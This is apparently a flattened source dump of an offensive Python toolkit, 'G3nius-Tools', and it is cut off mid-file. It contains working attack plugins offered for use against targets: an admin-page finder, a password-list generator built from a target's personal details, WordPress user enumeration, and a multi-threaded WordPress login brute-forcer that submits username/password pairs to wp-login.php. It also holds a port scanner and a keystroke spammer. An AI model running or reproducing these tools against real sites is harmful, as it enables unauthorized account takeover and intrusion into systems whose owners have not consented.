IP address: ', get_ip=True) 22 | MAC = gpl_ip_to_mac(IP) 23 | gpl_clear_and_banner() 24 | if MAC: 25 | Handler(Error_Levels.Alert, 'Found:\t' + MAC) 26 | else: 27 | Handler(Error_Levels.Failed_Job, 'MAC not found!', 'May be ARP (as broadcast) filtered by firewall.') -------------------------------------------------------------------------------- /G3nius-Tools/plugins/LED_CTRL/Title.txt: -------------------------------------------------------------------------------- 1 | Hardware LED Controls. 2 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/LED_CTRL/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | 5 | """ libs """ 6 | # external 7 | from os import listdir 8 | # internal 9 | # GPL 10 | from lib.GPL.IO import gpl_input, gpl_while_input, gpl_sleep 11 | from lib.GPL.File_Workers import gpl_write_to_file, gpl_read_from_file 12 | from lib.GPL.Page_Managers import gpl_set_banner_verion, gpl_clear_and_banner 13 | # Core 14 | from lib.core.Check_Supported_OS import Check_Supported 15 | from lib.core.End_Plugin import End_Plugin 16 | from lib.core.Error_Handler import Handler 17 | # config 18 | import lib.config.Error_Levels as Error_Levels 19 | 20 | 21 | # EOF and Keyboard Interupt 22 | try: 23 | # check OS 24 | if not Check_Supported(Linux=True): 25 | Handler(Error_Levels.High, "This plugin is only for Linux users.") 26 | End_Plugin() 27 | 28 | """ config """ 29 | Plugin_Version = '2.0.0' 30 | Status_Codes = {1: "0", 2: "1", 3: "255"} 31 | 32 | 33 | """ setup """ 34 | gpl_set_banner_verion(Plugin_Version) 35 | gpl_clear_and_banner() 36 | 37 | """ get LEDs""" 38 | LEDs = listdir('/sys/class/leds/') 39 | LEDs.sort() 40 | 41 | while True: 42 | # ask from user 43 | Choose = gpl_while_input("Select once LED on your system:", LEDs) 44 | Value = gpl_while_input("OFF or ON ? ", ['OFF', 'ON', 'Automatic (Maybe not work)', 'Show Status']) 45 | Address = '/sys/class/leds/' + LEDs[Choose - 1] + '/brightness' 46 | if Value == 4: 47 | # show status 48 | Status = gpl_read_from_file(Address, on_access_failed_text="Failed to read LED status.") 49 | if Status != None: 50 | if Status == "255\n": 51 | Handler(Error_Levels.Alert, 'Is automatic.') 52 | elif Status == "1\n": 53 | Handler(Error_Levels.Alert, 'Is on.') 54 | elif Status == "0\n": 55 | Handler(Error_Levels.Alert, 'Is off.') 56 | else: 57 | Handler(Error_Levels.Failed_Job, "Can't detect. Status Code: " + Status.replace("\n", '')) 58 | gpl_sleep() 59 | else: 60 | # set status 61 | Status = Status_Codes[Value] 62 | gpl_write_to_file(Address, Status + "\n", on_access_error_text="Failed to set status!") 63 | if Status != None: 64 | Handler(Error_Levels.Alert, 'LED status changed.') 65 | gpl_sleep() 66 | except (EOFError, KeyboardInterrupt): 67 | Handler(Error_Levels.Failed_Job, "Exit with user request.") -------------------------------------------------------------------------------- /G3nius-Tools/plugins/PageAdmin_Finder/Config.py: -------------------------------------------------------------------------------- 1 | Default_Wrodlist = '/plugins/PageAdmin_Finder/admin-pages.lst' -------------------------------------------------------------------------------- /G3nius-Tools/plugins/PageAdmin_Finder/Title.txt: -------------------------------------------------------------------------------- 1 | Website page admin finder. -------------------------------------------------------------------------------- /G3nius-Tools/plugins/PageAdmin_Finder/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | """ libs """ 5 | from lib.GPL.IO import gpl_input, gpl_confirm 6 | from lib.GPL.File_Workers import gpl_ask_load_from_file, gpl_read_from_file 7 | from lib.core.G3nius_Location import G3nius_Location 8 | from lib.GPL.HTTP_Managers import gpl_http_get 9 | from lib.core.Error_Handler import Handler 10 | import lib.config.Error_Levels as Error_Levels 11 | 12 | """ Configs """ 13 | import plugins.PageAdmin_Finder.Config as Config 14 | 15 | try: 16 | """ ask """ 17 | # URL 18 | Target_URL = gpl_input('Enter URL of your target: ', get_URL=True) 19 | # fix '/' character 20 | if Target_URL[-1] != '/': 21 | Target_URL += '/' 22 | # Custom wordlist 23 | Use_Default = gpl_confirm('Do you want use default wordlist ? ', default_return_value=True) 24 | if Use_Default: 25 | # use cumstom wordlist 26 | Records = gpl_ask_load_from_file(read_lines=True) 27 | else: 28 | # use default wordlist 29 | Location = G3nius_Location() 30 | Records = gpl_read_from_file(Location + Config.Default_Wrodlist, read_lines=True) 31 | # verbose 32 | Verbose = gpl_confirm('Run as verbose mode [y/n] ? ', default_return_value=True) 33 | 34 | 35 | """ process """ 36 | # attack 37 | for Record in Records: 38 | # request page 39 | URL = Target_URL + Record 40 | if Verbose: 41 | Handler(Error_Levels.Info, 'Testing "' + URL + '" ...') 42 | Response = gpl_http_get(URL) 43 | # user used CTRL+C 44 | if Response == None: 45 | break 46 | # processing on response 47 | if Response.status_code == 200: 48 | Handler(Error_Levels.Alert, 'Admin page found : ' + URL) 49 | elif Response.status_code == 404 and Verbose: 50 | Handler(Error_Levels.Failed_Job, 'Testing "' + URL + " was failed (404).") 51 | else: 52 | Handler(Error_Levels.Info, 'Unable to detect ' + str(Response.status_code) + ' detect page : ' + URL) 53 | except (EOFError, KeyboardInterrupt): 54 | Handler(Error_Levels.Failed_Job, 'Exit with user request.') 55 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/PasswordList_Generator/Title.txt: -------------------------------------------------------------------------------- 1 | Generate password list with combaine target keywords. -------------------------------------------------------------------------------- /G3nius-Tools/plugins/PasswordList_Generator/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | """ libs """ 5 | # internal 6 | from lib.GPL.Page_Managers import gpl_clear_and_banner, gpl_set_banner_verion 7 | from lib.core.Error_Handler import Handler 8 | from lib.GPL.File_Workers import gpl_ask_save_to_file 9 | from lib.GPL.IO import gpl_input, gpl_confirm, gpl_sleep 10 | # configs 11 | import lib.config.Error_Levels as Error_Levels 12 | # external 13 | from itertools import combinations 14 | 15 | 16 | """ process """ 17 | # set verion 18 | gpl_set_banner_verion('2.0.0') 19 | 20 | # ask for default 21 | Answers = [] 22 | Default_Questions = gpl_confirm('Do you want use default questions', True) 23 | if Default_Questions: 24 | # questions 25 | Default_Questions = [ 26 | "Target name(s) / Nikname(s)", 27 | "Job(s) name", 28 | "Pet's name'(s) name", 29 | "Day of month (Target birthday)", 30 | "Month of year (Target birthday)", 31 | "Year of birthday", 32 | "Name(s) of favorite things", 33 | "Name of city", 34 | "Name of country", 35 | "Country cellphone code", 36 | "Phone number (without Phone number)", 37 | "Add more words if you want (Or enter empty)" 38 | ] 39 | # ask 40 | for Question in Default_Questions: 41 | gpl_clear_and_banner() 42 | Handler(Error_Levels.Info, 'Use ", " (contain space) to enter multi values.', 'Lot of values = Big size and big process.') 43 | Answer = gpl_input(Question + ' ? ', clear_and_banner_before=False) 44 | # convert list 45 | Answer = Answer.split(', ') 46 | for Word in Answer: 47 | Answers.append(Word) 48 | else: 49 | while True: 50 | # manual ask 51 | gpl_clear_and_banner() 52 | Handler(Error_Levels.Info, 'Use CTRL+C to end and get results.') 53 | Handler(Error_Levels.Info, 'Use ", " (contain space) to enter multi values.', 'Lot of values = Big size and big process.') 54 | try: 55 | Answer = input('Enter a value (Name, Job, Food, ...) : ') 56 | Answer = Answer.split(', ') 57 | for Word in Answer: 58 | Answers.append(Word) 59 | Handler(Error_Levels.Alert, "Words added to list.") 60 | gpl_sleep() 61 | except (EOFError, KeyboardInterrupt): 62 | break 63 | 64 | # essential characters 65 | gpl_clear_and_banner() 66 | Characters = [',', '.', '/', '-', '=', '_', '+', '*', '(', ')', '^', '%', '$', '#', '@', '!', '?', '\\', '~', '`'] 67 | Handler(Error_Levels.Info, "Essential Characters: " + str(Characters)) 68 | Answer = gpl_confirm("Do you want add essential characters to list of words", True, clear_and_banner_before=False) 69 | if Answer: 70 | Answers += Characters 71 | 72 | # ask file address 73 | gpl_clear_and_banner() 74 | File_Address = gpl_ask_save_to_file(just_ask=True) 75 | 76 | # generate & write 77 | gpl_clear_and_banner() 78 | Handler(Error_Levels.Info, "Processing on wordlist...", 'Use CTRL+C or CTRL+D to cancell.') 79 | Number = 0 80 | File = open(File_Address, 'w') 81 | while True: 82 | Number += 1 83 | # calculate 84 | States = list(combinations(Answers, Number)) 85 | if len(States) == 0: 86 | break 87 | for State in States: 88 | # join tuple 89 | Word = '' 90 | for Item in State: 91 | Word += Item 92 | # write result 93 | File.write("\n" + Word) 94 | File.close() 95 | Handler(Error_Levels.Alert, 'File created, Done.') 96 | gpl_sleep(2) -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Port_Scanner/Title.txt: -------------------------------------------------------------------------------- 1 | Advanced port scanner. -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Port_Scanner/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | 3 | """ libs """ 4 | from lib.GPL.IO import gpl_input 5 | from lib.core.Error_Handler import Handler 6 | import lib.config.Error_Levels as Error_Levels 7 | from lib.GPL.Page_Managers import gpl_clear_and_banner, gpl_set_banner_verion 8 | from lib.GPL.attackers.protocols.Service_Version_Name_Scanner import gpl_find_service_version_name 9 | 10 | 11 | gpl_set_banner_verion('2.0.1') 12 | 13 | """ get info """ 14 | IP = gpl_input("Target IP: ", get_ip=True) 15 | Port = gpl_input("Target port: ", get_port=True) 16 | 17 | """ attack """ 18 | gpl_clear_and_banner() 19 | Handler(Error_Levels.Info, "Scanning...") 20 | Details = gpl_find_service_version_name(IP, Port) 21 | gpl_clear_and_banner() 22 | if Details == None: 23 | Handler(Error_Levels.Failed_Job, "Port is off.") 24 | elif Details[0] != None: 25 | Handler(Error_Levels.Info, "Attack done. Port Product: '" + Details[0] + "' Version: " + Details[1]) 26 | else: 27 | Handler(Error_Levels.Info, "Attack done. Port server Version: " + Details[1]) 28 | Handler(Error_Levels.NoStyle, "\n") -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Spamer/Title.txt: -------------------------------------------------------------------------------- 1 | Spam a text. -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Spamer/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | """ libs """ 5 | # Core 6 | from lib.core.Error_Handler import Handler 7 | # Config 8 | import lib.config.Error_Levels as Error_Levels 9 | # GPL 10 | from lib.GPL.IO import gpl_input, gpl_sleep, gpl_confirm 11 | from lib.GPL.Page_Managers import gpl_set_banner_verion, gpl_clear_and_banner 12 | from lib.GPL.attackers.macro.Keyboard import gpl_keyboard_callback, gpl_keyboard_type, gpl_keyboard_release, gpl_keyboard_press, Key 13 | # External 14 | from time import sleep 15 | 16 | """ attacker """ 17 | # Local vars 18 | State = False 19 | def Controller(key): 20 | global State 21 | if key == Key.end: 22 | State = False 23 | Handler(Error_Levels.Failed_Job, 'Attack stoped.') 24 | elif key == Key.ctrl_l or key == Key.ctrl_r: 25 | State = True 26 | Handler(Error_Levels.Alert, 'Attack started.') 27 | 28 | 29 | """ version """ 30 | gpl_set_banner_verion("2.0.0") 31 | gpl_clear_and_banner() 32 | 33 | 34 | """ ask """ 35 | Attack_Text = gpl_input('Enter attack text with ANSI characters: ') 36 | Sleep_Time = gpl_input("Enter sleep time between attacks (By sec): ", get_int=True) 37 | Enter = gpl_confirm('Press enter key after type text [y/n] ? ', default_return_value=True) 38 | 39 | """ set up controller """ 40 | Handler(Error_Levels.Info, "Use CTRL key to start attack, End key to stop.") 41 | Handler(Error_Levels.Info, "Use CTRL+D to exit from plugin.") 42 | Listener = gpl_keyboard_callback(on_press=Controller) 43 | 44 | 45 | """ attack """ 46 | while True: 47 | # Do attack if on 48 | while State: 49 | gpl_keyboard_type(Attack_Text) 50 | if Enter: 51 | gpl_keyboard_press(Key.enter) 52 | gpl_keyboard_release(Key.enter) 53 | gpl_sleep(Sleep_Time) 54 | # timeout 55 | try: 56 | sleep(1) 57 | except (KeyboardInterrupt, EOFError): 58 | Listener.stop() 59 | break 60 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Updater/Title.txt: -------------------------------------------------------------------------------- 1 | Update to lastest version. 2 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Updater/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | """ external libs """ 5 | from os.path import join, isdir, isfile 6 | from shutil import move, rmtree 7 | from os import popen, chmod, remove, rename, listdir, walk 8 | 9 | """ internal libs """ 10 | # config 11 | import lib.config.Error_Levels as Error_Levels 12 | from lib.config.Main_Configs import Version 13 | # core 14 | from lib.core.End_Plugin import End_Plugin 15 | from lib.core.Error_Handler import Handler 16 | from lib.core.G3nius_Location import G3nius_Location 17 | from lib.core.main.Restart_G3nius import Restart_G3nius 18 | from lib.core.Check_Supported_OS import Check_Supported 19 | # GPL 20 | from lib.GPL.HTTP_Managers import gpl_http_get 21 | from lib.GPL.IO import gpl_confirm 22 | from lib.GPL.Page_Managers import gpl_clear_and_banner, gpl_set_banner_verion 23 | from lib.GPL.File_Workers import gpl_write_to_file 24 | from lib.GPL.String_Workers import gpl_fix_string_to_uri 25 | 26 | """ check supporting OS """ 27 | if not Check_Supported(Linux=True): 28 | Handler(Error_Levels.Failed_Job, "Only Linux users can use online Updater plugin!", "Download and reinstall new version of G3nius-Tools.") 29 | 30 | 31 | """ local varibles """ 32 | URL = 'https://api.BugZone.ir/G3nius/' 33 | Plugin_Version = '2.0.7' 34 | Location = G3nius_Location() 35 | 36 | # collect data from server 37 | gpl_set_banner_verion(Plugin_Version) 38 | del Plugin_Version 39 | gpl_clear_and_banner() 40 | Handler(Error_Levels.Info, "Checking update...") 41 | 42 | Busy_Server_Text = 'Update server is very busy. auto retry.. (If take many times, Use CTRL+C and retry later)' 43 | Last_version = gpl_http_get(URL + 'Version.Version', ok_http_codes=[200], on_invalid_http_code_retry_text=Busy_Server_Text) 44 | Size = gpl_http_get(URL + 'SizeFile.php', ok_http_codes=[200], on_invalid_http_code_retry_text=Busy_Server_Text) 45 | del Busy_Server_Text 46 | 47 | # check valid 48 | if Size == None or Last_version == None: 49 | Handler(Error_Levels.Failed_Job, 'Failed to connect server. Check your internet Connection.') 50 | End_Plugin() 51 | else: 52 | # fix spase/encoding/etc.. 53 | Last_version = Last_version.content.decode('utf-8').replace("\n", '') 54 | Size = Size.content.decode('utf-8').replace("\n", '') 55 | # check server closed 56 | if Size == '!502!': 57 | Handler(Error_Levels.Alert, "We're now working on server. New updates coming soon!", "Try again 10 min later.") 58 | End_Plugin() 59 | 60 | # calculate download size 61 | if int(Size) / 1024 / 1024 >= 1: 62 | Size = str(round(int(Size) / 1024 / 1024, 2)) + ' MB' 63 | elif int(Size) / 1024 >= 1: 64 | Size = str(round(int(Size) / 1024, 2)) + ' KB' 65 | else: 66 | Size = Size + ' Byte' 67 | 68 | # checking update avalible 69 | if Version == Last_version: 70 | Handler(Error_Levels.Alert, "You're now using last version.") 71 | del Last_version, Size, URL 72 | End_Plugin() 73 | else: 74 | del Last_version 75 | 76 | # ask from user 77 | Choose = None 78 | while True: 79 | Choose = gpl_confirm('Need to download ' + Size + ', Confirm and update') 80 | # yes, goes update 81 | if Choose: 82 | # download update and write on file 83 | Handler(Error_Levels.Alert, 'Downloading update...') 84 | Content = gpl_http_get(URL + 'Lastest.zip', ok_http_codes=[200]).content 85 | if Content == None: 86 | Handler(Error_Levels.High, 'Error: Your internet connection lost! Check your internet.') 87 | End_Plugin() 88 | 89 | # write to file 90 | Result = gpl_write_to_file(Location + '/tmp/UPDATE.zip', Content) 91 | if Result == False or Result == None: 92 | End_Plugin() 93 | 94 | # extracting downloaded zip 95 | Handler(Error_Levels.Alert, 'Extracting update file...') 96 | if 'UnZip' in popen('unzip -v').read(): 97 | popen('unzip ' + gpl_fix_string_to_uri(Location) + '/tmp/UPDATE.zip -d ' + gpl_fix_string_to_uri(Location) + '/tmp/TMP_UPDATE').read() 98 | else: 99 | Handler(Error_Levels.High, '"unzip" command not installed.', 'Run: apt install unzip') 100 | End_Plugin() 101 | # check extract ok 102 | if not isdir(Location + '/tmp/TMP_UPDATE'): 103 | Handler(Error_Levels.High, "Can't extract zip file!") 104 | End_Plugin() 105 | remove(Location + '/tmp/UPDATE.zip') 106 | 107 | # split plugins 108 | Handler(Error_Levels.Alert, 'Checking installed plugins...') 109 | move(Location + '/tmp/TMP_UPDATE/plugins', Location + '/tmp/') 110 | 111 | # updating core 112 | Handler(Error_Levels.Alert, 'Updating core...') 113 | for Item in listdir(Location + '/tmp/TMP_UPDATE/'): 114 | if isdir(Location + '/' + Item) and Item != 'tmp': 115 | rmtree(Location + '/' + Item) 116 | elif isfile(Location + '/' + Item): 117 | remove(Location + '/' + Item) 118 | move(Location + '/tmp/TMP_UPDATE/' + Item, Location + '/' + Item) 119 | 120 | # updating plugins 121 | Handler(Error_Levels.Alert, 'Updating supported plugins...') 122 | ListPlugins = listdir(Location + '/tmp/plugins') 123 | for plugin in ListPlugins: 124 | if isdir(Location + '/plugins/' + plugin): 125 | rmtree(Location + '/plugins/' + plugin) 126 | elif isfile(Location + '/plugins/' + plugin): 127 | # rename file if same plugin name 128 | rename(Location + '/plugins/' + plugin, Location + '/plugins/' + plugin + '~') 129 | move(Location + '/tmp/plugins/' + plugin, Location + '/plugins/' + plugin) 130 | Handler(Error_Levels.Alert, "Plugin '" + plugin + "' Updated.") 131 | 132 | # change access 133 | Handler(Error_Levels.Alert, 'Repair access files...') 134 | for root, dirs, files in walk(Location): 135 | for file in files: 136 | if file.endswith(".py") or file.endswith(".pl") or file.endswith(".js") or file.endswith(".sh"): 137 | chmod(join(root, file), 0o771) 138 | 139 | # get ready for exit 140 | Handler(Error_Levels.Alert, 'Updating finished, Restarting G3nius-Tools...') 141 | Restart_G3nius() 142 | 143 | # no, don't update 144 | else: 145 | # cancel update 146 | Handler(Error_Levels.Failed_Job, 'Update cancelled by user request.') 147 | del Size, Choose, URL 148 | End_Plugin() 149 | 150 | # go back to normally 151 | del Size, Choose, Content, URL, Item, root, files, dirs, file, plugin, ListPlugins -------------------------------------------------------------------------------- /G3nius-Tools/plugins/WP_Information/Title.txt: -------------------------------------------------------------------------------- 1 | Extract wordpress informthemation. -------------------------------------------------------------------------------- /G3nius-Tools/plugins/WP_Information/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | """ libs """ 5 | # GPL 6 | from lib.classes.gpl import gpl_set_banner_verion, gpl_clear_and_banner 7 | from lib.classes.gpl import gpl_input, gpl_http_get 8 | from lib.classes.gpl import Handler, Error_Levels 9 | from lib.classes.gpl import End_Plugin 10 | from lib.classes.gpl import gpl_wordpress_exists 11 | 12 | # Configs 13 | from lib.config.GPL import Wordpress_Theme_Path 14 | 15 | """ Version """ 16 | gpl_set_banner_verion("2.0.0") 17 | 18 | """ Ask """ 19 | gpl_clear_and_banner() 20 | Handler(Error_Levels.Info, 'Use WP_UserFinder plugin for detect real user without Brute-Force.') 21 | URL = gpl_input("Enter URL of wordpress website: ", get_URL=True, clear_before=False) 22 | 23 | 24 | """ Check wordpress exists """ 25 | if not gpl_wordpress_exists(URL): 26 | Handler(Error_Levels.Failed_Job, "Can't detect wordpress installation!") 27 | End_Plugin() 28 | 29 | 30 | """ Attack """ 31 | gpl_clear_and_banner() 32 | Handler(Error_Levels.Star, "Please wait, Detecting...") 33 | 34 | # Theme name 35 | Request = gpl_http_get(URL) 36 | Theme_Name = Request.text.split(Wordpress_Theme_Path)[1].split('/')[0] 37 | 38 | # License 39 | Request = gpl_http_get(URL + '/license.txt') 40 | if Request.status_code == 200: 41 | License = True 42 | else: 43 | License = False 44 | 45 | # wp_login.php 46 | Request = gpl_http_get(URL + '/wp-login.php') 47 | if Request.status_code == 200: 48 | WP_Login = True 49 | else: 50 | WP_Login = False 51 | 52 | # xml-rpc.php 53 | Request = gpl_http_get(URL + '/xml-rpc.php') 54 | if Request.status_code == 200: 55 | XML_RPC = True 56 | else: 57 | XML_RPC = False 58 | 59 | # wp-cron.php 60 | Request = gpl_http_get(URL + '/wp-cron.php') 61 | if Request.status_code == 200: 62 | WP_Corn = True 63 | else: 64 | WP_Corn = False 65 | 66 | # wp-cron.php 67 | Request = gpl_http_get(URL + '/wp-json/wp/v2/users/') 68 | if Request.status_code == 200: 69 | JSON_Users = True 70 | else: 71 | JSON_Users = False 72 | 73 | 74 | """ Report """ 75 | gpl_clear_and_banner() 76 | 77 | Handler(Error_Levels.Plus, f"Theme name:\t{Theme_Name}") 78 | 79 | if License: 80 | Handler(Error_Levels.Plus, f"License:\t{URL}/license.txt") 81 | else: 82 | Handler(Error_Levels.Minus, f"License:\tNot found!") 83 | 84 | if WP_Login: 85 | Handler(Error_Levels.Plus, f"Login form:\t{URL}/wp-login.php") 86 | else: 87 | Handler(Error_Levels.Minus, f"Login form:\tNot found!") 88 | 89 | if XML_RPC: 90 | Handler(Error_Levels.Plus, f"XML RPC:\t{URL}/xml-rpc.php") 91 | else: 92 | Handler(Error_Levels.Minus, f"XML RPC:\tNot found!") 93 | 94 | if WP_Corn: 95 | Handler(Error_Levels.Plus, f"WP Corn:\t{URL}/wp-cron.php") 96 | else: 97 | Handler(Error_Levels.Minus, f"WP Corn:\tNot found!") 98 | 99 | if JSON_Users: 100 | Handler(Error_Levels.Plus, f"Users JSON:\t{URL}/wp-json/wp/v2/users/") 101 | else: 102 | Handler(Error_Levels.Minus, f"Users JSON:\tNot found!") 103 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/WP_UserFinder/BruteForce.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # GPL 3 | from lib.classes.gpl import gpl_http_get, Handler, Error_Levels 4 | 5 | # configs 6 | from plugins.WP_UserFinder.Configs import Author_BruteForce_URI 7 | 8 | # holders 9 | import plugins.WP_UserFinder.Holders as Holders 10 | 11 | 12 | 13 | """ Attack """ 14 | def Login_Brute_Force(Username): 15 | # Attack 16 | Request = gpl_http_get(Holders.URL + Author_BruteForce_URI + Username) 17 | if Request.status_code == 200: 18 | Holders.Users.append(Username) 19 | Handler(Error_Levels.Plus, f"Username Found:\t{Username}") 20 | elif Request.status_code == 404 and Holders.Verbose: 21 | Handler(Error_Levels.Minus, f"Username '{Username}' not exists.") 22 | elif Request.status_code != 404: 23 | Handler(Error_Levels.Minus, "Brute-Force failed, May be blocked by WAF.", f"HTTP status code:\t{Request.status_code}") 24 | Holders.HTTP_Error = True 25 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/WP_UserFinder/Configs.py: -------------------------------------------------------------------------------- 1 | Users_JSON_URI = '/wp-json/wp/v2/users/' 2 | Author_BruteForce_URI = '/author/' 3 | Author_By_ID_URI = '/?author=' 4 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/WP_UserFinder/Holders.py: -------------------------------------------------------------------------------- 1 | URL = None 2 | Users = [] 3 | HTTP_Error = False 4 | Verbose = False 5 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/WP_UserFinder/Title.txt: -------------------------------------------------------------------------------- 1 | Wordpress username/E-mail/info finder (no BruteForce,BruteForce). -------------------------------------------------------------------------------- /G3nius-Tools/plugins/WP_UserFinder/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | """ libs """ 5 | # External 6 | from threading import Thread 7 | 8 | # GPL 9 | from lib.classes.gpl import gpl_set_banner_verion, gpl_clear_and_banner 10 | from lib.classes.gpl import gpl_input, gpl_while_input, gpl_confirm 11 | from lib.classes.gpl import gpl_ask_load_from_file 12 | from lib.classes.gpl import Handler, Error_Levels 13 | from lib.classes.gpl import gpl_ask_save_to_file 14 | from lib.classes.gpl import gpl_JSON_loads 15 | from lib.classes.gpl import gpl_http_get 16 | from lib.classes.gpl import End_Plugin 17 | from lib.classes.gpl import gpl_sleep 18 | 19 | # Brute-Force 20 | from plugins.WP_UserFinder.BruteForce import Login_Brute_Force 21 | 22 | # Configs 23 | import plugins.WP_UserFinder.Configs as Configs 24 | 25 | # Holders 26 | import plugins.WP_UserFinder.Holders as Holders 27 | 28 | 29 | """ Version """ 30 | gpl_set_banner_verion("2.0.0") 31 | 32 | 33 | """ Ask """ 34 | # Website 35 | Holders.URL = gpl_input("Enter URL of wordpress target: ", get_URL=True) 36 | 37 | # Method 38 | Methods = [ 39 | 'Users JSON method (Without Brute-Force + Information) (Recommended)', 40 | 'Author method (Without Brute-Force)', 41 | 'Brute-Force' 42 | ] 43 | Method = gpl_while_input("Select once method to find users: ", Methods) 44 | 45 | 46 | 47 | """ Attack """ 48 | gpl_clear_and_banner() 49 | Handler(Error_Levels.Star, "Please wait, Extracting users...") 50 | 51 | Holders.Users = [] 52 | if Method == 1: 53 | # Users JSON 54 | Request = gpl_http_get(Holders.URL + Configs.Users_JSON_URI, ok_http_codes=[200, 403, 404]) 55 | if Request.status_code == 200: 56 | # Found 57 | Users = gpl_JSON_loads(Request.text) 58 | for User in Users: 59 | Handler(Error_Levels.Star, "\n\nNew user found:") 60 | Holders.Users.append(User['slug']) 61 | for Key in User: 62 | # Fix if empty 63 | if type(User[Key]) == str and len(User[Key]) == 0: 64 | User[Key] = '""' 65 | # Show 66 | Handler(Error_Levels.Plus, f"\t{Key}\t~>\t{User[Key]}") 67 | gpl_confirm("Confirm to report page") 68 | elif Request.status_code == 403: 69 | Handler(Error_Levels.Minus, "Failed, This method blocked by WAF!", "Try another methods.") 70 | else: 71 | Handler(Error_Levels.Minus, "Failed, This method not work on this target.", "Try another websites.") 72 | elif Method == 2: 73 | # Author ID 74 | i = 0 75 | Just_Count = False 76 | while True: 77 | i += 1 78 | Request = gpl_http_get(Holders.URL + Configs.Author_By_ID_URI + f"{i}") 79 | if Request.status_code == 200: 80 | Title = Request.text.split('')[1].split('')[0] 81 | if ' - ' in Title: 82 | Username = Title.split(' - ')[0] 83 | Holders.Users.append(Username) 84 | Handler(Error_Levels.Plus, f"User found:\t{Username}") 85 | elif not Just_Count: 86 | Confirm = gpl_confirm("Method worked, but can't detect username. Do you want count Users", True) 87 | if Confirm: 88 | Just_Count = True 89 | else: 90 | End_Plugin() 91 | elif Request.status_code == 404: 92 | if Just_Count: 93 | Handler(Error_Levels.Plus, f"This target have {i-1} admin accounts.") 94 | End_Plugin() 95 | break 96 | else: 97 | Handler(Error_Levels.Minus, "Method not work on this target! May be blocked by WAF.", f"HTTP status code: {Request.status_code}") 98 | if len(Holders.Users) == 0: 99 | Handler(Error_Levels.Minus, "Failed to detect username! Method not work on this target.") 100 | else: 101 | # Brute-Force 102 | Usernames = gpl_ask_load_from_file("Enter usernames list file address: ", read_lines=True) 103 | Power = gpl_input("Enter attack power (Thread per sec): ", get_plus_number=True) 104 | Holders.Verbose = gpl_confirm("Run as verbose (Default no)", False, False) 105 | gpl_clear_and_banner() 106 | Handler(Error_Levels.Star, "Logs:\n") 107 | # Thread counter 108 | i = 0 109 | threads = [] 110 | for Username in Usernames: 111 | # check if sleep need 112 | i += 1 113 | if i % Power == 0: 114 | gpl_sleep() 115 | # open brute-force thread 116 | thread = Thread(target=Login_Brute_Force, args=(Username,)) 117 | thread.start() 118 | threads.append(thread) 119 | if Holders.HTTP_Error: 120 | End_Plugin() 121 | # wait to end 122 | for thread in threads: 123 | thread.join() 124 | 125 | 126 | 127 | """ Result """ 128 | if len(Holders.Users) > 0: 129 | # Ask 130 | Options = [ 131 | 'Write result to file', 132 | 'Show result' 133 | ] 134 | Choose = gpl_while_input("Select once:", Options) 135 | gpl_clear_and_banner() 136 | 137 | if Choose == 1: 138 | # Write to file 139 | Data = '' 140 | for Username in Holders.Users: 141 | Data += f"\n{Username}" 142 | gpl_ask_save_to_file("Enter filename address to write results: ", data=Data) 143 | Handler(Error_Levels.Plus, "File Wrote. Enjoy!") 144 | else: 145 | for Username in Holders.Users: 146 | Handler(Error_Levels.Plus, Username) 147 | else: 148 | gpl_clear_and_banner() 149 | Handler(Error_Levels.Minus, "Method worked but no one users found!") 150 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/WP_loginBruteForce/Configs.py: -------------------------------------------------------------------------------- 1 | Login_Form_HTML = '
1: 61 | Continue_On_Found = gpl_confirm('Do you want continue testing other users if password found', default_return_value=True) 62 | Continue_On_Found = False 63 | 64 | 65 | """ Detect panel admin """ 66 | if gpl_http_get(URL + '/wp-login.php').status_code == 200: 67 | Panel_Admin = URL + '/wp-login.php' 68 | else: 69 | # Can't detect panel admin 70 | while True: 71 | Panel_Admin = gpl_input("Failed to detect admin panel, Enter manually: ", get_URL=True) 72 | if gpl_http_get(Panel_Admin).status_code != 200: 73 | Handler(Error_Levels.Minus, "Invalid admin panel!") 74 | gpl_sleep() 75 | else: 76 | break 77 | 78 | """ Brute force """ 79 | gpl_clear_and_banner() 80 | for Username in Usernames: 81 | for Password in Passwords: 82 | # Flag 83 | Found = False 84 | 85 | # Request 86 | Handler(Error_Levels.Star, f"Request to target with {Username}:{Password}") 87 | Form = { 88 | 'log': Username, 89 | 'pwd': Password, 90 | 'wp-submit': '%D9%88%D8%B1%D9%88%D8%AF', 91 | 'testcookie': '1', 92 | 'redirect_to': gpl_url_encode(URL + '/wp-admin/') 93 | } 94 | Response = gpl_http_post(URL + '/wp-login.php', Form) 95 | 96 | # Check blocked 97 | if Response.status_code != 200 and Response.status_code != 302: 98 | Handler(Error_Levels.Minus, "Invalid HTTP code! May be blocked by WAF.", f"HTTP status code: {Response.status_code}") 99 | End_Plugin() 100 | 101 | # Detect result 102 | if Detection_ID == 1 and Response.status_code == 302: 103 | # HTTP status 104 | Found = True 105 | elif Detection_ID == 2 and 'location' in Response.headers: 106 | # Redirection 107 | Found = True 108 | elif Detection_ID == 3 and 'set-cookie' in Response.headers: 109 | # Set Cookie 110 | Found = True 111 | elif 